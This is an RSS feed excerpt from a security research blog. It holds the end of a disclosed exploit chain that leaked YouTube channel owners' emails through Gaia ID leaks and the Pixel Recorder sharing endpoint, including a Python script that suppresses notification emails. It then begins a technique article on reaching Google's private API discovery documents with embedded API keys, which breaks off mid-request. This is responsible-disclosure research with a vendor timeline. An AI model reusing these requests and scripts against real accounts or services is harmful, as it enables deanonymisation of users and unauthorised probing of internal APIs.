<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
3 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
6 {
  1: <span class="hljs-string">&quot;UCSE-aYOb-uCg059qHRis_ow&quot;</span>
}</code></pre><p>Seems to just contain the channel ID of the channel we&#39;re blocking, the livestream video ID and livestream author ID. Let&#39;s try to fake the request params with our own target&#39;s channel ID.<br></br></p>
<p>For this test, we&#39;ll use a <a href="https://www.youtube.com/channel/UCD2LZAT1j1DyVXq2R2BdusQ" >Topic Channel</a> since they are <a href="https://support.google.com/youtube/answer/7636475#topicchannels" >auto-generated by YouTube</a> and guaranteed to not have any live chat messages.</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;&lt;SNIP&gt;&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g&#x27;</span> | <span class="hljs-built_in">base64</span> | <span class="hljs-built_in">base64</span>
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=</code></pre></br>

<p>Testing this on <code>/youtubei/v1/live_chat/get_item_context_menu</code>:</p>
<pre><code class="hljs language-json">...
<span class="hljs-attr">&quot;moderateLiveChatEndpoint&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;params&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=&quot;</span><span class="hljs-punctuation">}</span>
...</code></pre><pre><code class="hljs language-bash"><span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
1 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
10: 0
11: 1
12 {
  1: <span class="hljs-string">&quot;103261974221829892167&quot;</span>
  2: <span class="hljs-string">&quot;D2LZAT1j1DyVXq2R2BdusQ&quot;</span>
}
14: 0</code></pre><p>We can leak the Gaia ID of the channel - <strong>103261974221829892167</strong></p>
<h3 id="the-missing-puzzle-piece-pixel-recorder">The missing puzzle piece: Pixel Recorder</h3><p>I told my friend <a href="https://schizo.org" >nathan</a> about the YouTube Gaia ID leak and we started looking into old forgotten Google products since they probably contained some bug or logic flaw to resolve a Gaia ID to an email. <a href="https://recorder.google.com" >Pixel Recorder</a> was one of them. Nathan made a test recording on his Pixel phone and synced it to his Google account so we could access the endpoints on the web at <a href="https://recorder.google.com" >https://recorder.google.com</a>:<br></br></p>
<p><img src="/assets/leaking-youtube-emails/recorder_home_page.png" alt=""  /></p>
</br>

<p>When we tried sharing the recording to a test email, that&#39;s when it hit us:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>pixelrecorder-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>80
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://recorder.google.com/

<span class="language-javascript">[<span class="hljs-string">&quot;7adab89e-4ace-4945-9f75-6fe250ccbe49&quot;</span>,<span class="hljs-literal">null</span>,[[<span class="hljs-string">&quot;113769094563819690011&quot;</span>,<span class="hljs-number">2</span>,<span class="hljs-literal">null</span>]]]</span></code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>ESF
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>138

<span class="language-javascript">[<span class="hljs-string">&quot;28bc3792-9bdb-4aed-9a78-17b0954abc7d&quot;</span>,[[<span class="hljs-literal">null</span>,<span class="hljs-number">2</span>,<span class="hljs-string">&quot;vrptest2@gmail.com&quot;</span>]]]</span></code></pre><p>This endpoint was taking in the obfuscated Gaia ID and... <strong>returning the email?</strong><br></br></p>
<p>We tested this with the obfuscated Gaia ID <code>107183641464576740691</code> we got from blocking that user on YouTube a while back and <strong>it worked</strong>:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>ESF
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>138

<span class="language-javascript">[<span class="hljs-string">&quot;28bc3792-9bdb-4aed-9a78-17b0954abc7d&quot;</span>,[[<span class="hljs-literal">null</span>,<span class="hljs-number">2</span>,<span class="hljs-string">&quot;redacted@gmail.com&quot;</span>],[<span class="hljs-literal">null</span>,<span class="hljs-number">2</span>,<span class="hljs-string">&quot;vrptest2@gmail.com&quot;</span>]]]</span></code></pre><h3 id="a-small-problem-preventing-notification-to-the-target">A small problem: preventing notification to the target</h3><p>It seems that whenever we share a recording with a victim, they receive an email that looks like this:<br></br></p>
<p><img src="/assets/leaking-youtube-emails/recorder_victim.png" alt=""  /></p>
</br>

<p>This is <strong>really bad</strong>, and it would lower the impact of the bug quite a lot. On the share pop-up, there didn&#39;t seem to be any option to disable notifications.</p>
<p><img src="/assets/leaking-youtube-emails/share_recording.png" alt=""  /></p>
<p>I tried leaking the full request proto via my tool <a href="https://github.com/ddd/req2proto" >req2proto</a>, but there was nothing about disabling the email notification:</p>
</br>

<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> java.com.google.wireless.android.pixel.recorder.protos;

<span class="hljs-keyword">import</span> <span class="hljs-string">&quot;java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto&quot;</span>;

<span class="hljs-keyword">message </span><span class="hljs-title class_">WriteShareListRequest</span> {
  <span class="hljs-type">string</span> recording_id = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> delete_obfuscated_gaia_ids = <span class="hljs-number">2</span>;
  ShareUser update_shared_users = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> sharing_message = <span class="hljs-number">4</span>;
}

<span class="hljs-keyword">message </span><span class="hljs-title class_">ShareUser</span> {
  <span class="hljs-type">string</span> obfuscated_gaia_id = <span class="hljs-number">1</span>;
  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> email = <span class="hljs-number">3</span>;
}</code></pre></br>

<p>Even trying to add and remove the user at the same time didn&#39;t work, the email was still sent. But that&#39;s when we realized - if it&#39;s including our recording title in the email subject, perhaps it wouldn&#39;t be able to send an email if our recording title was too long.<br></br></p>
<p>We hacked together a quick python script to test this out:</p>
</br>

<pre><code class="hljs language-python"><span class="hljs-keyword">import</span> requests

BASE_URL = <span class="hljs-string">&quot;https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/&quot;</span>

headers = {
    <span class="hljs-string">&quot;Host&quot;</span>: <span class="hljs-string">&quot;pixelrecorder-pa.clients6.google.com&quot;</span>,
    <span class="hljs-string">&quot;Content-Type&quot;</span>: <span class="hljs-string">&quot;application/json+protobuf&quot;</span>,
    <span class="hljs-string">&quot;X-Goog-Api-Key&quot;</span>: <span class="hljs-string">&quot;AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro&quot;</span>,
    <span class="hljs-string">&quot;Origin&quot;</span>: <span class="hljs-string">&quot;https://recorder.google.com&quot;</span>
}

<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_recording_uuid</span>(<span class="hljs-params">share_id: <span class="hljs-built_in">str</span></span>):
    payload = <span class="hljs-string">f&quot;[\&quot;<span class="hljs-subst">{share_id}</span>\&quot;]&quot;</span>
    response = requests.post(BASE_URL + <span class="hljs-string">&quot;GetRecordingInfo&quot;</span> + <span class="hljs-string">&quot;?alt=json&quot;</span>, headers=headers, data=payload)
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;unknown error when getting recording uuid: &quot;</span>, response.json())
        exit(<span class="hljs-number">1</span>)
    <span class="hljs-keyword">try</span>:
        response = response.json()
    <span class="hljs-keyword">except</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;can\&#x27;t parse response when getting recording uuid: &#x27;</span>, response.text)
        exit(<span class="hljs-number">1</span>)

    <span class="hljs-keyword">return</span> response[<span class="hljs-string">&quot;recording&quot;</span>][<span class="hljs-string">&quot;uuid&quot;</span>]

<span class="hljs-keyword">def</span> <span class="hljs-title function_">update_recording_title</span>(<span class="hljs-params">share_id: <span class="hljs-built_in">str</span></span>):
    x = <span class="hljs-string">&#x27;X&#x27;</span>*<span class="hljs-number">2500000</span> <span class="hljs-comment"># 2.5 million char long title name!</span>
    payload = <span class="hljs-string">f&#x27;[&quot;<span class="hljs-subst">{share_id}</span>&quot;,&quot;<span class="hljs-subst">{x}</span>&quot;]&#x27;</span>
    response = requests.post(BASE_URL + <span class="hljs-string">&quot;UpdateRecordingTitle&quot;</span> + <span class="hljs-string">&quot;?alt=json&quot;</span>, headers=headers, data=payload)
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;unknown error when updating recording title: &quot;</span>, response.json())
        exit(<span class="hljs-number">1</span>)

<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
    share_id = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Enter share ID: &quot;</span>)
    headers[<span class="hljs-string">&quot;Cookie&quot;</span>] = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Cookie header:&quot;</span> )
    headers[<span class="hljs-string">&quot;Authorization&quot;</span>] = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Authorization header: &quot;</span>)
    uuid = get_recording_uuid(share_id)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;UUID:&quot;</span>, uuid)
    update_recording_title(uuid)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Updated recording title successfully.&quot;</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    main()</code></pre><p>... and the recording title was now <strong>2.5 million letters long!</strong> There wasn&#39;t any server-side limit to the length of a recording name.<br></br></p>
<p><img src="/assets/leaking-youtube-emails/long_recording_name.png" alt=""  /><br></br></p>
<p>Trying to share the recording with a different test user... <strong>bingo!</strong> No notification email.<br></br></p>
<p><img src="/assets/leaking-youtube-emails/no_gmail_notification.png" alt=""  /></p>
<h3 id="putting-it-all-together">Putting it all together</h3><p>We basically have the full attack chain, we just have to put it together.</p>
<ul>
<li>Leak the obfuscated Gaia ID of the YouTube channel from the Innertube endpoint <code>/get_item_context_menu</code></li>
<li>Share the Pixel recording with an extremely long name with the target to convert the Gaia ID to an email</li>
<li>Remove the target from the Pixel recording (cleanup)</li>
</ul>
</br>

<p>Here&#39;s a POC of the exploit in action:</p>
<iframe src="https://www.youtube.com/embed/nuZiiKVej84" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

<h3 id="timeline">Timeline</h3><ul>
<li>2024-09-15 - Report sent to vendor</li>
<li>2024-09-16 - Vendor triaged report</li>
<li>2024-09-16 - 🎉 <strong>Nice catch!</strong></li>
<li>2024-10-03 - Panel marks it as duplicate of existing-tracked bug, does botched patch of initial YouTube obfuscated Gaia ID disclosure</li>
<li>2024-10-03 - Clarified to vendor that they haven&#39;t recognized Pixel recorder as vulnerability itself (since obfuscated Gaia IDs are leaked for Google Maps/Play reviewers) and provided vendor a work-around method to once again leak YouTube channel obfuscated Gaia IDs</li>
<li>2024-11-05 - <strong>Panel awards $3,133.</strong> Rationale: Exploitation likelihood is medium. Issue qualified as an abuse-related methodology with high impact.</li>
<li>2024-12-03 - Product team sent report back to panel for additional reward consideration, coordinates disclosure for 2025-02-03</li>
<li>2024-12-12 - <strong>Panel awards an additional $7,500.</strong> Rationale: Exploitation likelihood is high. Issue qualified as an abuse-related methodology with high impact. Applied 1 downgrade from the base amount due to complexity of attack chain required.</li>
<li>2025-01-29 - Vendor requests extension for disclosure to 2025-02-02</li>
<li>2025-02-09 - Confirm to vendor that both parts of the exploit have been fixed (T+147 days since disclosure)</li>
<li>2025-02-12 - Report disclosed</li>
</ul>
]]></content:encoded>
            <enclosure url="https://brutecat.com/assets/youtube-email-disclosure.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Decoding Google: Converting a Black Box to a White Box]]></title>
            <link>https://brutecat.com/articles/decoding-google</link>
            <guid>decoding-google</guid>
            <pubDate>Fri, 01 Nov 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[We've all been there - staring at Google's search box, overwhelmed by the maze of complexity hiding behind that minimalist interface, thinking it's impossible to break in. The key to decoding Google? Converting the attack surface from a black box to a white box.]]></description>
            <content:encoded><![CDATA[<p>We&#39;ve all been there - staring at Google&#39;s search box, overwhelmed by the maze of complexity hiding behind that minimalist interface, thinking it&#39;s impossible to break in. The key to decoding Google? Converting the attack surface from a black box to a white box. The first step is finding all the endpoints that exist, and all of their respective parameters, especially ones that are hidden and aren&#39;t used in the actual app and were left from some developer testing, since they likely contain security bugs.<br></br></p>
<h4 id="table-of-contents">Table of Contents</h4><ul>
<li><a href="#how-google-api-authentication-works-on-the-web" >How Google API authentication works on the web</a></li>
<li><a href="#secret-visibility-labels" >Secret visibility labels</a></li>
<li><a href="#how-google-api-authentication-works-on-android" >How Google API authentication works on Android</a></li>
<li><a href="#a-word-on-x-goog-spatula" >A word on X-Goog-Spatula</a></li>
<li><a href="#leaking-request-parameters-through-error-messages" >Leaking request parameters through error messages</a></li>
</ul>
</br>

<p>In Google, there&#39;s something known as <a href="https://developers.google.com/discovery/v1/reference/apis" >discovery documents</a> that are essentially like swagger documents, intended for listing API methods on Google&#39;s public APIs such as their <a href="https://developers.google.com/youtube/v3" >YouTube Data API</a> (<a href="https://youtube.googleapis.com/$discovery/rest" >discovery</a>). As it turns out, these discovery documents aren&#39;t just available for their public APIs but also for their private ones such as the Internal People API (<a href="https://people-pa.googleapis.com/$discovery/rest" >discovery</a>).</p>
</br>

<p>While this discovery document doesn&#39;t require any authentication to view, if we try fetching something like the Takeout Private API, we get the following error:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>takeout-pa.googleapis.com</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">403</span> Forbidden
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Method doesn&#x27;t allow unregistered callers (callers without established identity). Please use API Key or other form of API consumer identity to call this API.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PERMISSION_DENIED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre></br>

<p>Thankfully, by looking into how Google authentication works, it&#39;s possible to get past this.</p>
<h3 id="how-google-api-authentication-works-on-the-web">How Google API authentication works on the web</h3><p>If we look at a random request to the People Internal API to lookup a Google user from the web that we can find from DevTools on <a href="https://chat.google.com" >https://chat.google.com</a>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://chat.google.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
...
</code></pre><blockquote>
<p>Note: clients6.google.com is an alias for googleapis.com</p>
</blockquote>
</br>

<p>The first important header here is <code>X-Goog-Api-Key</code>. This API key gives us permission to call endpoints in the Internal People API. This specific endpoint requires us to be authenticated with our Google account, which is done through the <code>Cookie</code> header and <code>SAPISIDHASH</code> (this value is generated <a href="https://stackoverflow.com/a/32065323" >using the SAPISID cookie</a>)</p>
</br>

<p>If you&#39;re worked with Google Cloud before, you might know that APIs need to be enabled for your project before you can make calls to them. If we tried taking this key and doing a call to some random unrelated API like the Play Atoms Private API <code>playatoms-pa.googleapis.com</code></p>
</br>

<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>playatoms-pa.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA</code></pre></br>

<p>We would get the following error:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Play Atoms Private API has not been used in project 576267593750 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/playatoms-pa.googleapis.com/overview?project=576267593750 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.&quot;</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>This is because just like Google Cloud projects we can make ourselves, the API key we found is tied to some Google-owned Cloud project, which doesn&#39;t have the Play Atoms Private API enabled for it.</p>
</br>

<p>However, this key does in fact work for the <strong>staging environment</strong> of the Internal People API which otherwise without authentication isn&#39;t public:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>staging-people-pa.sandbox.googleapis.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://chat.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA
</code></pre><blockquote>
<p>Note: all staging/test endpoints are under *.sandbox.googleapis.com. This API key also requires the use of the chat.google.com Referer header.</p>
</blockquote>
</br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-bash">{
  <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;Internal People API - Staging&quot;</span>,
  <span class="hljs-string">&quot;documentationLink&quot;</span>: <span class="hljs-string">&quot;http://boq/java/com/google/social/boq/release/socialgraphapiserver&quot;</span>,
  <span class="hljs-string">&quot;discoveryVersion&quot;</span>: <span class="hljs-string">&quot;v1&quot;</span>,
  <span class="hljs-string">&quot;id&quot;</span>: <span class="hljs-string">&quot;people_pa:v2&quot;</span>,
  <span class="hljs-string">&quot;revision&quot;</span>: <span class="hljs-string">&quot;20241031&quot;</span>,
  ...
}
</span></code></pre></br>

<p>Unlike the public discovery document, this version contains comments for everything, leaking a lot of how stuff works behind-the-scenes:</p>
</br>

<pre><code class="hljs language-json">...
    <span class="hljs-attr">&quot;InAppNotificationTarget&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;InAppNotificationTarget&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;How and where to send notifications to this person in other apps, and why the requester can do so. See go/reachability for more info. \&quot;How\&quot; and \&quot;where\&quot; identify the recipient in a P2P Bridge (glossary/p2p bridge), and \&quot;why\&quot; may be helpful in a UI to disambiguate which of several ways may be used to contact the recipient. How: Via a Google profile or a reachable-only phone number that the requester has access to. Specified in the target \&quot;type\&quot; and \&quot;value\&quot;. Where: Apps in which the profile/phone number owner may receive notifications. Specified in the repeated \&quot;app\&quot;. Why: Which fields in, e.g., a contact associated with this person make the notification target info visible to the requester. Specified in the repeated originating_field param. Example: Alice has a contact Bob, with: Email 0 = bob@gmail.com Phone 0 = +12223334444 Phone 1 = +15556667777 Email 0 and Phone 0 let Alice see Bob&#x27;s public profile (obfuscated gaia ID = 123). Public profiles are visible by email by default, and Bob has explicitly made it visible via Phone 0. Bob says people can send notifications to his public profile in YouTube. Phone 2 is associated with another Google profile that Bob owns, but he doesn&#x27;t want others to see it. He is okay with people sending notifications to him in Who&#x27;s Down if they have this phone number, however. There will be separate InAppNotificationTargets: one for Bob&#x27;s public Google profile, and one for the second phone number, which is in his private profile. IANT #1 - targeting Bob&#x27;s public profile (visible via Email 0 and Phone 0): app = [YOUTUBE] type = OBFUSCATED_GAIA_ID value = 123 originating_field: [ { field_type = EMAIL, field_index = 0 } // For Email 0 { field_type = PHONE, field_index = 0 } // For Phone 0 ] IANT #2 - targeting Bob&#x27;s private profile phone number Phone 1: app = [WHOS_DOWN] type = PHONE value = +15556667777 originating_field: [ { field_type = PHONE, field_index = 1 } // For Phone 1 ]&quot;</span><span class="hljs-punctuation">,</span>
...</code></pre><blockquote>
<p><strong>Update 2025-02-06:</strong> Google has <a href="https://x.com/brutecat/status/1887436162744410509" >removed all comments</a> from the staging discovery doc.</p>
</blockquote>
<h3 id="secret-visibility-labels">Secret visibility labels</h3><p>As it turns out, certain Google cloud projects have visibility labels enabled for them, giving them more access than others. Endpoints can be hidden behind visibility labels, and they won&#39;t show up in the discovery document unless the secret <code>labels</code> parameter is provided. This <a href="https://www.youtube.com/watch?v=9pviQ19njIs" >was discovered</a> by an awesome researcher <a href="https://www.ezequiel.tech/" >Ezequiel Pereira</a> who now works at Google.</p>
</br>

<p>For instance, if we use the API key <code>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g</code> that we can find from <a href="https://console.cloud.google.com" >console.cloud.google.com</a> and try fetching the discovery document for <code>servicemanagement.googleapis.com</code></p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com</code></pre></br>

<p>The response would have 214k bytes. However, if we try this same request with <code>&amp;labels=PANTHEON</code></p>
</br>

<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest?labels=PANTHEON</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com</code></pre><p>The response now has 329k bytes and there&#39;s a lot more hidden documentation revealed.</p>
</br>

<p>Additionally, certain APIs like the Internal People API provide extra permissions for specific API clients. So far, we&#39;ve covered how we can use API keys to fetch discovery documents or access endpoints in the context of Google Cloud projects that have their keys used in Google web services. However, by learning how authorization works on Android, we can get access to the context of lot more Google Cloud projects.</p>
</br>

<h3 id="how-google-api-authentication-works-on-android">How Google API authentication works on Android</h3><p>If you&#39;ve ever logged into a Google account via Google Play Services (GPS) on an Android device, you might have noticed that all Google apps are able to authenticate as your Google account seamlessly, without having to manually log into each one.</p>
</br>

<p>The way this works is your Google account&#39;s Android session is actually tied to a refresh token that&#39;s generated the first time you log in. Unlike on the web where Google internal APIs use cookies for authentication, on Android and iOS scoped bearer tokens generated from a refresh token are used instead.<br>On Android, that same Internal People API request would look something like this:</p>
</br>

<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.clients6.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>ya29.&lt;redacted&gt;
...</code></pre></br>

<p>There is no need for an API key for this request, as the bearer token actually includes the context of the Google API project that you used to generate the bearer token. (this will make more sense once we look into how bearer tokens are generated from an android refresh token)</p>
</br>

<p>The interesting thing about some Google APIs is that requests from the context of certain Google Cloud project IDs have extra functionality/permissions enabled just for that project on that API. This is usually based on the requirements of the client (ex. the Google Chat app may need to be able to fetch extra information on other Google users from the Internal People API as compared to something like Google Earth)</p>
</br>

<h3 id="android-refresh-tokens-aas-xx-">Android Refresh Tokens (aas/xx)</h3><p>So, how can we generate an Android refresh token to use for testing? It&#39;s actually quite simple. We can simply visit <a href="https://accounts.google.com/EmbeddedSetup" >https://accounts.google.com/EmbeddedSetup</a>, go through the authentication flow, and at the end there will be a cookie set called <code>oauth_token</code></p>
</br>

<p>We can then do the following request to exchange this oauth_token for an Android refresh token:</p>
</br>

<pre><code class="hljs language-http">POST /auth
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>android.googleapis.com
<span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>com.google.android.gms/243530022
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded

